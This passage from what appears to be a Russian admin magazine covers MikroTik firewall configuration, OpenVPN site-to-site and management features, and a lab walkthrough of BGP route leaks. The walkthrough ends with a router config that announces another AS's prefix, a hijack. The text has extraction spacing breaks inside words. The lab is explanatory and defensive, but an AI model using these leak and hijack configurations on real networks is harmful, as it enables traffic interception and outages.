было опис ано еще в уте рянн ой гла ве «Сло ва о пол ку Игор еве»: «удал ен ная
наст рой ка файр во ла — к даль ней дороге». Так что ува жай предк ов — чти их
заветы и использ уй Safe Mode.
Раб ота ет этот режим так: ты нажима ешь кноп ку Safe Mode в интерфей се,
и она остае тся нажатой. Даль ше ты делае шь все, что собирал ся, но при‐
менят ся эти изме нения, тольк о ког да ты снов а клик нешь по кнопк е. Если они
прив едут к обрыв у вза имод ей ствия роуте ра и кон фигура тора WinBox (нап‐
ример, если ты зафильт ров ал свои же пакеты или отклю чил интерфейс), то
роутер вер нется в сос тояние, которое было до вход а в Safe Mode.
Зап оми нает ся толь ко 100 дейс твий, но этог о хват ит на боль шинст во слу‐
чаев. Перезагр узки не будет — откат мгно венн ый. Из кон соли этот режим
актив иру ется по Ctrl‐X.
Safe Mode
Есть два подх ода к наст ройк е фай рво ла:
• разр ешено все, что не запр ещено;
• зап рещено все, что не раз решено.
Ни один из них нельз я наз вать однозначн о пра вильн ым. Я при вер женец вто‐
рого подх ода, но в нез накомых сетях при меняю пер вый.
Что бы разр ешить нуж ный траф ик, нужн о опред елить ся с этим самым тра‐
фиком. В случ ае с input это сде лать доволь но прос то. Вот что нужн о для кор‐
рект ной работы роуте ра.
1. Management: WinBox, SSH, в некотор ых слу чаях WebFig, нап ример
для просм отра гра фиков нагр узки.
2. Ес ли про вайд ер выда ет адрес по DHCP, то раз решить этот прот окол
на внеш нем интерфейс е.
3. Ес ли роутер явля ется сер вером DHCP, то разр ешить этот про токол
на внут ренних интерфейс ах.
4. То же самое с DNS.
5. Есл и будем подн имать тунн ели, то раз решить их.
6. OSPF.
7. ICMP.
8. NTP.
9. Neighbor Discovery.
10. SNMP.
11. Дру гие сер висы.
Опр едели лись? Откры ваем нужн ое и зак рыва ем все осталь ное.
Фай рвол работа ет по принц ипу «если [усло вие], то [дей ствие]». Если
выпол няют ся усло вия, задан ные во вклад ках General, Advanced, Extra, то
к пакету прим еня ется дей ствие из вкладк и Action. На сегод ня нам будет дос‐
таточн о услов ий src/dst address, protocol, src/dst port, in/out interface, connec‐
tion‐state. Их зна чения понят ны по наз ванию, но если вдруг неясн о — впе ред,
читать про осно вы TCP/IP. Самые расп ростран ен ные дей ствия: accept — раз‐
решено, drop — запр ещено (пакет прост о уничт ожит ся), reject — зап рещено,
но отпра витель получит информац ию, что пакет был унич тожен по прич ине,
ука занн ой в reject‐with.
Каж дое прав ило на пути пакета отним ает про цес сорное вре мя. И если
в неболь ших сетях это нек ритичн о, то при серь езных объе мах тра фика нуж но
учит ывать этот момент. Рас смот рим на прим ере.
/ip firewall filter
add action=accept chain=input dst‐port=8291 protocol=tcp src‐address=
10.0.0.0/24
add action=accept chain=input dst‐port=8291 protocol=tcp src‐address=
10.10.0.0/24
add action=accept chain=input dst‐port=8291 protocol=tcp src‐address=
10.11.0.0/24
add action=accept chain=input dst‐port=22 protocol=tcp src‐address=
10.0.0.0/24
add action=accept chain=input dst‐port=22 protocol=tcp src‐address=
10.10.0.0/24
add action=accept chain=input dst‐port=22 protocol=tcp src‐address=
10.11.0.0/24
add action=drop chain=input
В этом случ ае при попыт ке подк лю чить ся к роутер у по SSH с адре‐
са 10.11.0.11 фай рвол будет шесть раз обращ ать ся к CPU с вопр осом, про‐
пуст ить ли этот тра фик. Выгл ядит это прим ер но так: «8291 — не наш порт —
про пуск аем даль ше. 10.0.0.0/24 — не наша подс еть, про пуск аем даль ше. То
же для 10.10.0.0/24, и толь ко шес тое пра вило подх одит». На шест ом шаге
фай рвол пой мет, что тра фик легитим ный и его мож но проп уст ить.
Пак еты FTP и весь дру гой нераз решенн ый траф ик будет дер гать CPU семь
раз — перв ые шесть и посл едний дроп. И это в выдуманн ом при мере из семи
прав ил. В реаль ной жиз ни прав ил на порядок или два боль ше.
Пер вое, что мы можем сде лать, — объе дин ить два порт а в одном прав иле:
/ip firewall filter
add action=accept chain=input dst‐port=8291,22 protocol=tcp
src‐address=10.0.0.0/24
add action=accept chain=input dst‐port=8291,22 protocol=tcp
src‐address=10.10.0.0/24
add action=accept chain=input dst‐port=8291,22 protocol=tcp
src‐address=10.11.0.0/24
add action=drop chain=input
Нем ного сниз или нагр узку. Но оста лось три идент ичных пра вила с раз ницей
лишь в адре сах. С помощью списк а адрес ов (Address List) мы можем объ еди‐
нить их в одно.
INFO
Address List — фича RouterOS, которая позв оляе т
объе ди нять IP‐адре са, под сети и DNS‐имен а
в одну запись.
Соз даем три записи в одном Address List.
Make Address List
/ip firewall address‐list
add address=10.0.0.0/24 list=MGMT
add address=10.10.0.0/24 list=MGMT
add address=10.11.0.0/24 list=MGMT
И при меня ем его к нашему прав илу.
/ip firewall filter
add action=accept chain=input dst‐port=8291,22 protocol=tcp
src‐address‐list=MGMT
add action=drop chain=input
Так из семи пра вил мы получи ли два и избав ились от лишн ей нагр узки.
По ана логии со списк ами адрес ов работаю т списк и интерфей сов (я рас смат‐
ривал их в пре дыду щей статье — «За щищае м MikroTik»): объе дин яем в один
interface list интерфейс ы разн ых пров айд еров и вешае м пра вила уже не на
сами интерфей сы, а на спис ки. Так мы не тольк о уменьш им наг рузку, но и
упростим жизнь адми на: чем мень ше пра вил, тем удоб нее обслу живать сис‐
тему.
Еще один спо соб облегчить работу фай рвол у — использ овать ConnTrack.
Понят но, что established‐пакетов будет нам ного боль ше, чем new, related и in‐
valid, вмест е взят ых. А раз мы раз решили перв ый пакет из потока, то все
осталь ные пакеты в этом потоке мож но счи тать легитим ными. Поэто му прост о
соз даем пра вило «раз решить established» и помещае м его в самом вер ху.
Вы бирай нужн ые тебе прот окол ы и порт ы, соз дай соот ветс тву ющие списк и
адрес ов и интерфей сов. Открой все, что нужн о, и пос тавь посл едним пра‐
вилом drop all. На этом основную наст ройк у цепоч ки input можн о счи тать
заверш енной.
К сло ву, по умол чанию файр вол снабж ен дост аточн о крепк ой нас трой‐
кой — ее впол не хва тит, что бы норм аль но работа ла сеть прак тическ и любых
разм еров. Но всегд а есть какие‐то осо бен ности и любой конф иг мож но улуч‐
шить с учет ом сво их услов ий.
Для прим ера конф игура ции можешь взять мой шабл он.
ТРАБЛШУТИНГ
Когд а файр вол не работае т или работае т не так, как под разуме валось
при нас тройк е, виноват админ. Магии не быва ет. Перв ое, на что стои т обра‐
тить вни мание при траб лшут ин ге, — счет чики пакетов. Если счет чик не уве‐
личи вает ся, зна чит, траф ик в него не попадае т. А если тра фик не попадае т,
зна чит, либо это го траф ика прост о нет, либо он был обра ботан стоя щим
выше пра вилом.
Счет чики
Ты же помн ишь, что пра вила файр вол а работа ют по прин ципу «кто пер вый
встал — того и тап ки»? Если пакет попал под дей ствие пра вила, то даль ше он
уже не пойд ет. Зна чит, нуж но искать пробл ему выше. Прос то копиру ем наше
пра вило, action ста вим accept (для траб лшут ин га не делай дроп — так
при про вер ке можн о сло мать себе дост уп или нарушить работу сети) и пос‐
тепен но дви гаем его наверх до перв ого увел ичен ия счет чиков в этом пра‐
виле. Если через это пра вило уже прох одил тра фик, то счет чики будут ненуле‐
вые и мож но про пуст ить нуж ные нам пакеты, — прост о сбрось счет чики
в этом пра виле или во всех кнопк ами Reset Counters.
Reset Counters
/ip firewall filter reset‐counters‐all
или
/ip firewall filter reset‐counters numbers=<номер правила>
Предп оложим, мы наш ли пра вило, в которое попадае т наш траф ик,
а попадать не дол жен. Нужн о понять, почему так про исхо дит. В этом нам
поможет опция Log. Во вкладк е Action ста вим галоч ку Log (можн о написать
преф икс для прав ила, что бы было прощ е отлавли вать его в логах) и смот рим
логи, где написа ны все харак терист ики пакетов, попада ющих под пра вило.
Сред и харак терист ик: цепочк а, вхо дящий и исход ящий интерфей сы, адре са
и порт ы источни ка и получат еля, прот окол, фла ги, раз мер пакета, дей ствия
NAT.
Лог
Ес ли даже в самом вер ху в прав иле не будут увел ичив атьс я счет чики, уби рай
пра вила из усло вия по одно му. Начинай с интерфейс ов — адми ны част о пута‐
ются в сво их предс тавл ени ях о том, отку да или куда дол жен идти тра фик (нап‐
ример, при конн екте к пров ай деру через PPPoE или в тунн елях меж ду фили‐
ала ми или слож ном роутин ге). Счет чики пош ли? Включ аем лог и смот рим
интерфейс ы и дру гие парамет ры.
Ес ли и это не помога ет — приш ло врем я тяжелой артилле рии. Идем
в Tools → Torch и изуч аем траф ик на роутер е. Может, ожи даемо го траф ика
вов се нет. Еще один крут ой инст рум ент — анал ог tcpdump — Tools → Packet
Sniffer. Разб ор работы этих инс тру мент ов тянет на отдель ную статью (если
она тебе инте рес на — сооб щи об этом в ком мента риях к статье).
Что бы упростить трабл шут инг, мож но исполь зовать фун кцию ком менти‐
рова ния. Если из‐за ком ментов окно ста новит ся слишк ом больш им и это
меша ет смот реть на пра вила, восп оль зуйся инлай новыми ком ментар иями
(Inline Comments). Так комм енты вста нут с прав илом в одну стро ку и в окно
будет уме щатьс я боль ше прав ил.
Inline Comments
Так же рекоменд ую рас пре делять пра вила по порядк у, след уя какой‐то опре‐
деленн ой логике. И ста рай ся ее под держи вать на всех роутер ах.
ИТОГИ
В этой статье при веден ы толь ко основ ы наст ройк и файр вол а и главн ые
методы диагн ости ки. Кром е RouterOS, эти прин ципы при меним ы и для Linux.
В след ующей статье раз берем более слож ные прав ила, которые поз воля ют
защитить ся от не самых прос тых атак, и раз берем цепочк у Forward, а так же
соз дадим свои цепочк и.
АДМИН
НЕИЗВЕСТНЫЙ
OPENVPN
ЗНАКОМИМСЯ СО СКРЫТЫМИ
ВОЗМОЖНОСТЯМИ И НАСТРОЙКАМИ
Даниил Батурин
Координатор проекта VyOS (https://vyos.io), «языковед»,
функциональщик, иногда сетевой администратор
[email protected]
OpenVPN был и оста ется одним из самых популяр ных
средств для пос трое ния вир туаль ных час тных сетей. Он
не лишен недос татков: для него нет встрое нно го кли ента
в Windows, macOS и мобиль ных устройс твах, а проп уск ная
спос об ность тун нелей не слишк ом высока. Зато спос об‐
ность работать поверх TCP поз воляе т ему про ходить даже
через самые безумн ые сети с мно гок ратным NAT и проч им
изде вательс твом.
В интернет е пол но ста тей о наст ройк е серв ера OpenVPN для подк люч ения
поль зовательс ких компь ютер ов к уда ленн ой сети, и соз дает ся впеч ат ление,
что это его единс твен ное прим енен ие. Кто‐то даже счи тает, что с появ лени ем
WireGuard он вов се утрат ил свою акту альн ость. Дейс твит ельн о, встро енный
роуминг и друг ие возм ожност и WireGuard созд ают ста рым про ектам
серьезную кон курен цию.
Одн ако в OpenVPN есть мног о менее извест ных воз можнос тей, и он все
еще остае тся одним из самых гиб ких, мног офунк цио наль ных и прост ых в нас‐
трой ке решений.
Я предп олагаю, что у тебя уже есть опыт нас тройк и OpenVPN, поэто му
про пуст им осно вы и сраз у перей дем к мало извес тным полез ным фичам.
SITE TO SITE
OpenVPN обычн о ассо циирует ся с наст рой ками типа кли ент — сер вер. Боль‐
шинс тво ста тей посв ящены именн о это му вари анту, и мног ие сетевые дис‐
триб ути вы вро де OpenWRT и OPNSense пре дос тавляю т польз ователь ский
интерфейс тольк о для него. Но это боль шое упу щение! OpenVPN — очень
прост ой спос об соедин ить два хос та или сети безопасн ым тун нелем типа
точ ка — точ ка.
Еще менее извест ный факт: в этом режиме OpenVPN может работать
со ста тичес кими клю чами (pre‐shared key), без серт ификат ов. Более того,
что бы сге нерир овать такой ключ, тебе не понадоб ит ся никаких инс тру мент ов,
кро ме самого OpenVPN.
Предп оложим, что мы хотим пост оян ное под клю чение к уда лен ной
машине с адре сом 203.0.113.100. Сге нерир уем ключ:
$ openvpn ‐‐genkey ‐‐secret /etc/openvpn/shared.key
Наст ро им локаль ную сто рону:
dev‐type tun
dev tun0
ifconfig 192.168.0.2 192.168.0.1
rport 1194
remote 203.0.113.100
secret /etc/openvpn/shared.key
Те перь ско пиру ем файл клю ча на уда лен ную машину и напишем там про тиво‐
положн ый конф иг:
dev‐type tun
dev tun0
ifconfig 192.168.0.1 192.168.0.2
lport 1194
local 203.0.113.100
secret /etc/openvpn/shared.key
По желанию мож но добавить туда опции для работы в режиме демона:
daemon openvpn‐tun0
writepid /var/run/openvpn‐tun0.pid
Ост алось сох ранить кон фиг в файл вро де /etc/openvpn/s2s.conf и запус‐
тить openvpn ‐‐config /etc/openvpn/s2s.conf.
Иден тифика ция соедин ений прои схо дит тольк о по ключ у, адрес а хост ов
никак не учи тываю тся. Ука зать опцию remote нужн о толь ко на одной сто‐
роне — «клие нте». Сто рона без опции remote будет ждать подк лю чения.
Из‐за это го OpenVPN удо бен для соедин ений site to site с хос тами, у которых
нет ста тическ ого адре са, и даже хост ами за NAT.
Оп ция local не обя затель на, но полез на для марш ру тиза торов с неск оль‐
кими внешн ими интерфейс ами. Если ее не указ ывать, OpenVPN будет слу‐
шать на 0.0.0.0.
OpenVPN работа ет поверх UDP, если не указ ано обратное. Если хочешь
использ овать TCP, на стор оне «кли ента» нуж но добавить в конф иг proto
tcp‐client, а на сто роне «серв ера» — proto tcp‐server.
Нас кольк о пло хо использ ование ста тическ их ключ ей? С одной сто роны,
утечк а такого клю ча куда более опасн а, поск оль ку злоу мыш ленник смо жет
рас шифро вать весь перех ваченн ый траф ик, и в прошл ом, и в будущем. TLS
решае т эту пробл ему использ овани ем сесс ион ных клю чей. Но с дру гой сто‐
роны, такой траф ик сложн ее идент ифицир овать как зашифр ован ный тун нель.
Реж им site to site мож но использ овать с TLS и серт ификат ами, но нас трой‐
ка это го сложн ее и тре бует боль ше вре мени. Если тебе нуж но подн ять соеди‐
нение меж ду дву мя машинам и с минималь ными зат ратами усил ий, OpenVPN
site to site со ста тическ им клю чом — оптим аль ный вариа нт.
РАЗДАЕМ РАЗНЫЕ НАСТРОЙКИ РАЗНЫМ КЛИЕНТАМ
Дин ами чес кая мар шру тизац ия — это здор ово, но соверш енно неп рактич но
для кли ент ских соедин ений. Даже для тун нелей к мар шру тиза торам
это может быть неп рактичн о, если они работа ют на какой‐нибудь OpenWRT,
где нет удоб ного механизм а для ее наст ройк и. Вруч ную наст ро ить FRRouting
или BIRD мож но на любой UNIX‐подоб ной ОС, но нужн о ли?
С OpenVPN решить эту пробл ему прост о. Все слы шали про опции push
в конф иге самого серв ера, врод е push "route 172.16.20.0 255.255.255.
0". Мень ше людей знаю т, что эти нас трой ки могут быть не толь ко гло баль‐
ными. Более того, почт и любые опции мож но ука зать на уровн е кли ентов.
Что бы иметь воз можность задавать наст ройк и отдель ным клие нтам, нужн о
ука зать каталог для файл ов с эти ми наст ройк ами:
client‐config‐dir /etc/openvpn/client‐configs/
Для идент ифика ции клие нтов использ ует ся поле CN (Common Name) из их
серт ификат ов. Предп оложим, у тебя есть кли ент с CN=jrandomuser и ему
нужен дост уп к сети 172.16.19.0/24.
Дост аточ но соз дать файл /etc/openvpn/client‐configs/jrandomuser
и про писать туда опцию
push "route 172.16.19.0 255.255.255.0"
Та ким же образ ом можн о избир ательн о отклю чить split tunneling для некото‐
рых кли ентов, если про писать им push "route 0.0.0.0 0.0.0.0".
Кро ме мар шру тов, мож но раз давать множ ест во друг их опций. Напр имер,
задать кли ентам свой серв ер DNS: push "dhcp‐option DNS 172.16.0.10".
Можн о указ ать и сер вер WINS, если клие нту нужен дос туп к SMB: push
"dhcp‐option WINS 172.16.0.10".
Воз можность указ ывать все это как глоб аль но, так и для отдель ных кли‐
ентов позв оля ет весь ма гибк о управлять дос тупом польз овате лей к внут‐
ренней сети без осо бых уси лий.
INFO
OpenVPN чита ет файл ы кли ентс ких нас трое к
при кажд ом их под ключ ении. Переза пус кать его,
чтоб ы добавить новых клие нтов или поменять
наст ройк и, не нужн о.
ПОДКЛЮЧАЕМ УДАЛЕННЫЕ СЕТИ
Реж им site to site хорош для неболь шого числ а соеди нений. Если у тебя
десят ки или сот ни уда ленн ых сетей, нас траи вать тун нель к кажд ой край не уто‐
митель но. Мож но авто мати зиров ать этот проц есс с помощью Ansible
или чего‐то еще, но в OpenVPN есть встрое нный механизм для этой задачи.
Предп оложим, что сеть твое й орга низац ии — 10.0.0.0/16, а для удал ен‐
ных клие нтов у тебя выделе на 10.0.0.0/21. Пусть твой серв ер OpenVPN
использ ует сетевой интерфейс tun0.
Прежд е всег о нужн о созд ать мар шрут ко всей сети через этот интерфейс.
В Linux коман да будет такой:
$ sudo ip route add 10.0.0.0/21 dev tun0
Тонк ий момент: ядро Linux удал яет мар шру ты, когд а интерфейс исчез ает
или ухо дит в down. По этой при чине нужн о сдел ать, что бы этот марш рут соз‐
давал ся при переза пуск е OpenVPN. Самое чист ое решение — исполь зовать
демон марш ру тизац ии врод е Quagga/FRRouting или BIRD, который сам сле‐
дит за сост ояниями сетевых интерфейс ов и пересозд ает марш ру ты по необ‐
ходимост и. Самое прос тое — добавить коман ду в скрипт запус ка.
Одн у подс еть мы выделим для кли ент ских интерфейс ов и ука жем ее
в опции server. Кро ме того, нуж но указ ать в конф иге topology subnet. Что‐
бы указ ывать, какая сеть какому кли енту прин адл ежит, нам снов а понадо бит‐
ся client‐config‐dir.
Ра зумее тся, клие нтам пот ребуе тся дост уп к кор поратив ной сети, поэтом у
мы выдадим им мар шрут к 10.0.0.0/16 с помощью push.
До бавим след ующее в кон фиг сер вера:
server 10.0.0.0 255.255.255.0
topology subnet
persist‐tun
client‐config‐dir /etc/openvpn/client‐configs/
push "route 10.0.0.0 255.255.0.0"
Теп ерь созд адим кон фиг клие нта. Пред положим, ты хочешь под ключ ить офис
с сетью 10.0.1.0/24 и ты соз дал для его мар шру тиза тора сер тификат с CN=my‐
remote‐office.
Про пиши след ующее в /etc/openvpn/client‐configs/my‐remote‐of‐
fice:
iroute 10.0.1.0 255.255.255.0
Те перь, когд а этот клие нт подк лю читс я, OpenVPN ассо циирует
сеть 10.0.1.0/24 с его подк лю чение м.
ХРАНИМ ВСЕ НАСТРОЙКИ КЛИЕНТА В ОДНОМ ФАЙЛЕ
Очень част о мож но получить от удал ен ной стор оны конф иг OpenVPN для под‐
клю чения к сер веру и отдель ные файл ы с CA, клие нт ским сер тификат ом
и клю чом. Это прие мле мо для админ ов, но край не неудоб но для конечн ых
поль зовател ей.
К счастью, клю чи и серт ификат ы можн о хран ить вмес те с нас тройк ами.
Нап ример:
client
dev tun
proto udp
remote 203.0.113.20 1194
<ca>
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
</ca>
<cert>
‐‐‐‐‐BEGIN CERTIFICATE‐‐‐‐‐
...
‐‐‐‐‐END CERTIFICATE‐‐‐‐‐
</cert>
<key>
‐‐‐‐‐BEGIN RSA PRIVATE KEY‐‐‐‐‐
...
‐‐‐‐‐END RSA PRIVATE KEY‐‐‐‐‐
</key>
Поль зовате лю дост аточн о сохр анить этот файл (к прим еру, в my‐vpn.ovpn)
и запус тить openvpn ‐‐config my‐vpn.ovpn или указ ать этот файл в гра‐
фичес ком интерфей се клие нта.
ОБЩАЕМСЯ С ПРОЦЕССОМ OPENVPN ЧЕРЕЗ СОКЕТ
OpenVPN пред ос тавляе т интерфейс, через который ты можешь просм отреть
информац ию о подк лю чения х и выпол нить ряд адми нис тра тив ных задач. Вза‐
имо дей ство вать с ним мож но через сокет: либо TCP/IP, либо UNIX.
Есть вари ант под клю чать ся к сокету IP через Telnet. Это удоб но, но нужн о
сле дить за безопас ностью дост упа к этом у сокету. Обес печить безопас ность
UNIX domain socket куда прощ е, поэтом у мы выберем имен но этот спос об.
Нужн о добавить в кон фиг серв ера сле дующее:
management /tmp/openvpn‐mgmt unix
Под клю читьс я к это му сокету мож но с помощью утил иты socat:
$ sudo socat ‐ UNIX‐CONNECT:/tmp/openvpn‐mgmt
>INFO:OpenVPN Management Interface Version 1 ‐‐ type 'help' for more
info
В выводе help ты найд ешь целый ряд полез ных команд. К при меру, kill
jrandomuser при нудит ель но разор вет все под клю чения клие нта с CN=jrando‐
muser. В выводе команд ы status можн о уви деть информа цию о всех текущих
подк лю чения х.
Ес ли тебя инте ресуе т имен но информа ция о клие нт ских тунн елях и ты
хочешь получать ее без необ ходимос ти кажд ый раз подк лю чать ся к сокету,
можешь добавить вот эту опцию в конф иг:
status /tmp/openvpn.status
Дан ные в файл /tmp/openvpn.status будут писать ся в таком же фор мате,
как вывод коман ды status, вро де:
OpenVPN CLIENT LIST
Updated,Tue Apr 21 12:45:47 2020
Common Name,Real Address,Bytes Received,Bytes Sent,Connected Since
jrandomuser,192.0.2.57:56422,51036248,505028963,Tue Apr 21 08:04:02
2020
ЗАКЛЮЧЕНИЕ
В докумен тации к OpenVPN оты щет ся и мног о дру гих интер ес ных возм ожнос‐
тей. К прим еру, если ука зать неск оль ко опций remote в конф иге клие нта, кли‐
ент авто матич еск и перекл ючит ся на след ующий адрес сер вера, если не смо‐
жет подк лю читьс я к перв ому.
Именн о гибк ость наст рой ки и раз нообр азие опций поз воляю т OpenVPN
успешно конк уриро вать с дру гими похожи ми прое кта ми.
АДМИН
BGP
ROUTE LEAKS
РАЗБИРАЕМСЯ С ЭФФЕКТОМ БАБОЧКИ
В ГЛОБАЛЬНОЙ СЕТИ
Алексей Киселев
[email protected]
Все крупн ые сети и особ ен но сети про вай деров стро ятся
на одном прот око ле — BGP. Сегод ня мы рас смот рим с тех‐
ническ ой сто роны один из глав ных недост атков BGP: полн ое
отсутст вие пров ер ки полученн ых марш ру тов. Из‐за этог о
возм ожна уязв имость, которая называе тся route leak
или «утечк а мар шру тов».
Сам по себе BGP никак не защищен от воз дейс твий извне. Eжедн евно про‐
исхо дят десят ки и сот ни случ аев утечк и мар шрут ов, и ска зать наверн яка, была
это сплан иро ван ная атак а или ошибк а в конф игурац ии, невоз можно. Часть
тра фика попадае т из сетей магист раль ных про вай деров в неиз вест ность.
Ты лег ко смо жешь найт и ботов и сай ты, на которых час теньк о всплы вают
сообщ ения о route leaking или hijacking.
Route leak чаще случ ает ся из‐за ошибк и в кон фигурац ии, невер ной либо
пол ностью отсутст ву ющей фильт рац ии на стык е с вышес тоящим про вай‐
дером. В этой статье я буду подр азуме вать, что route leaking — транз итное
перенап равлен ие траф ика через стор он ние автон омн ые сис темы, hijacking —
анонс ирован ие чужих преф ик сов из AS (Autonomous System), которым он
не дол жен при над лежать.
ЧЕМ ОПАСЕН ROUTE LEAK
Route leaking и hijacking вызыва ют непр ият ности: иногд а это задер жки,
а порой и атак и DOS или MITM.
Что бы разоб ратьс я, как воз ника ет route leak, необх одимо понять основные
механиз мы работы BGP, пос коль ку утечк а вызыва ется без каких‐либо допол‐
нитель ных манипу ляций.
BGP использ ует номера автон ом ных сист ем, и по это му крит ерию выделя‐
ют iBGP и eBGP. Раз ница в том, что iBGP (internal) работа ет в пред елах одной
авто ном ной сис темы, eBGP (external) — меж ду раз ными. Сейч ас нас инте‐
ресуе т eBGP: route leak прои схо дит из‐за неверн ых наст рое к меж ду пирами
eBGP.
Пред отв ра щение петель мар шру тиза ции
Для пре дот вра щения петель марш рут иза ции пиры BGP про веряю т атриб ут AS
PATH. Если в AS PATH есть собст венн ый номер AS — роутер его отбра сывае т.
Это и есть пет ля.
Для пиров eBGP дейс тву ет прав ило: при получен ии сооб щения UPDATE,
в котором хра нит ся информац ия о мар шрут ах, сле дует передать сообщ ение
всем пирам BGP. Для пиров iBGP номер AS не меня ется, сооб щение UPDATE
не переда ется дру гим пирам. Это стан дарт ный механизм.
Выб ор лучш его пути
BGP использ ует алго ритм из неск оль ких шагов (от десяти до трин ад цати).
В зависи мос ти от венд ора и информац ии о дос тупност и сетей через нес‐
коль ко источник ов про токол выбира ет толь ко один путь, помеща ет его
в локаль ную табл ицу мар шру тиза ции и передае т свои м пирам.
Есть мно го спо собов пов лиять на этот выбор. Сей час мы оста новим ся
на атриб уте AS PATH. Он сост оит из пос ледова тель нос ти номеров, кажд ая
авто номн ая сис тема добавл яет в поле UPDATE сообщ ения номер сво ей AS
в поряд ке оче реди.
R1#show ip bgp
Network Next Hop Metric LocPrf Weight Path
* 172.16.0.0/24 30.0.0.1 0 2 3 4 i
*> 10.0.0.2 0 5 4 i
В этом при мере роутер выберет втор ой путь: при проч их равн ых путь через
этот источник короче. Этот про цесс можн о срав нить с плат ной дорогой.
Пред ставь, что до тво его мес та назн ачения две дороги: на одной три пун кта
оплат ы про езда, на вто рой два, цены на обо их один аков ы.
INFO
Но мер public AS получить не так прост о. Нужн о
пре дос тавить веск ие осно вания для IANA. Но это
воп рос бюрок ратичес кий, а мы сдел аем упор
на тех ническ ую часть.
От сюда вытека ет про цесс route leak — эффект бабоч ки: чис тый BGP
без фильт ров может быть крайн е опас ен и нарушить опти мальн ые пути тра‐
фика.
Прак тика
R1 и R4 выс тупаю т в качест ве погр аничн ых пров ай дерс ких роуте ров, оба
марш ру тиза тора анон сирую т сети 192.168.0.0/24 и 172.16.0.0/24 соот‐
ветст вен но из сво их AS 1 и 2. У кажд ого про вайд ера есть договор ен ность
с магис тральн ыми про вайд ерами (R2 и R3) о том, что R1 и R4 будут перего‐
нять траф ик через них, а AS 2 и 3 обесп ечат нужн ую про пуск ную спос обн ость,
надеж ность и защиту.
Зел еным цве том обоз начен опти маль ный со стор оны пров айд ера путь
траф ика, крас ным — траф ик, который прой дет через сто рон нюю AS, выз‐
вав эффект route leak
Мы под клю чим в эту схе му про вайд ера R5. Теперь мы можем, изме нив дли ну
AS path, стать транз итной AS для тра фика межд у AS 1 и 2, проп уст ить через
себя весь тра фик и вызв ать кучу неп рият ностей и голов ной боли для всех
про вай деров в цепи.
Мы име ем дост уп толь ко до R5. R1 и R4 нас трои ли пиринг до адрес ов 10.
0.0.2 и 20.0.0.2 соот ветст вен но.
Клас сическ ий слу чай для route leaking. Новая автон ом ная сис тема имее т
как минимум два пира с раз ными AS: route leak под разумев ает возм ожность
тран зита.
Наст раи ваем пиринг с пров айд ерами.
Кон фигура ция R1 и R4:
R1
Interface eth0/0
Ip add 10.0.0.1 255.255.255.0
No shutdown
Interface eth0/1
Ip add 30.0.0.1 255.255.255.0
No shutdown
router bgp 1
network 192.168.0.0
neighbor 10.0.0.2 remote‐as 5
neighbor 30.0.0.2 remote‐as 2
R4
Interface eth0/0
Ip add 20.0.0.1 255.255.255.0
No shutdown
Interface eth0/1
Ip add 40.0.0.1 255.255.255.0
No shutdown
router bgp 4
network 172.16.0.0
neighbor 20.0.0.2 remote‐as 5
neighbor 40.0.0.2 remote‐as 3
Про веря ем таб лицу марш рут изац ии от R1 до сетей R4:
R1#show ip route 172.16.0.0
Routing entry for 172.16.0.0/24, 1 known subnets
B 172.16.0.0 [20/0] via 30.0.0.1, 00:05:54
R1#show ip bgp 172.16.0.0
BGP routing table entry for 172.16.0.0/24, version 4
Paths: (1 available, best #1, table default)
Not advertised to any peer
Refresh Epoch 1
2 3 4
30.0.0.1 from 30.0.0.1 (50.0.0.1)
Origin IGP, localpref 100, valid, external, best
rx pathid: 0, tx pathid: 0x0
PC_1> trace 172.16.0.10
trace to 172.16.0.10, 8 hops max, press Ctrl+C to stop
1 192.168.0.1 0.394 ms 0.247 ms 0.256 ms
2 30.0.0.1 0.568 ms 0.498 ms 0.395 ms
3 50.0.0.2 0.645 ms 0.722 ms 0.634 ms
4 40.0.0.2 0.917 ms 0.651 ms 0.750 ms
5 172.16.0.10 1.111 ms
Пе рехо дим к кон фигура ции с R5:
R5
R5
Interface eth0/0
Ip add 10.0.0.2 255.255.255.0
No shutdown
router bgp 5
neighbor 10.0.0.1 remote‐as 1
По лучае м мар шрут ы от про вай дера R1 и перехо дим к кон фигурац ии с про‐
вай дером R4.
R5
R5
Interface eth0/1
Ip add 20.0.0.1 255.255.255.0
No shutdown
router bgp 5
neighbor 20.0.0.2 remote‐as 4
Анал огич ным обра зом, получив табл ицу мар шру тов от про вай дера R4,
R5 запус тил свой рас чет и посч итал, как быст рее все го добиратьс я до кажд ой
сети в нашем прим ере.
Мар шрут иза торы R1 и R4, которые выс тупа ют в нашем прим ере в качес тве
про вайд еров, тоже получил и сооб щения UPDATE от марш рут изат ора R5.
Запус тили алго ритм выбора луч шего мар шрут а в BGP (BGP best path selec‐
tion) и добави ли марш рут R1 — R5 — R4 как лучш ий в свою локальн ую таб‐
лицу мар шрут иза ции.
Так мы ста ли тран зитным про вай дером для тра фика из сетей 192.168.0.0
и 172.16.0.0.
Мы видим сле дующее:
R1#show ip bgp 172.16.0.0
BGP routing table entry for 172.16.0.0/24, version 5
Paths: (2 available, best #1, table default)
Advertised to update‐groups:
1
Refresh Epoch 1
5 4
10.0.0.2 from 10.0.0.2 (20.0.0.1)
Origin IGP, localpref 100, valid, external, best
rx pathid: 0, tx pathid: 0x0
Refresh Epoch 1
2 3 4
30.0.0.1 from 30.0.0.1 (50.0.0.1)
Origin IGP, localpref 100, valid, external
rx pathid: 0, tx pathid: 0
R1#show ip route 172.16.0.0
Routing entry for 172.16.0.0/24, 1 known subnets
B 172.16.0.0 [20/0] via 10.0.0.2, 00:01:39
R6#
Теп ерь мы видим, что тра фик идет через AS 5.
На пер вый взгляд, не прои зошл о ничего необычн ого, стан дарт ный алго‐
ритм BGP. Но ник то не хочет, чтоб ы его тра фик шел через сто ронн ие AS.
Всплы вает ряд пробл ем: uplink до пров айд еров может не спра витьс я с про‐
пус кной спо собн остью, возн икнут задер жки, траф ик может быть перех вачен
и зазерк ален.
Что бы пре дот вра тить такие ситуа ции, пров айд еры долж ны нас траи вать
community или филь тры ip prefix list для конт ро ля за получен ием и отда‐
чей тра фика. Но потери или угон тра фика все рав но слу чают ся.
BGP HIJACKING
В случ ае BGP hijacking нам не обяз ательн о быть транз итной AS, от нас тре‐
бует ся прос то анон сировать из сво ей AS чужие сети.
R7(config)#interface loopback 0
R7(config‐if)#ip address 192.168.0.2 255.255.255.0
R7(config)#router bgp 7
R7(config‐router)#network 192.168.0.0 mask 255.255.255.0
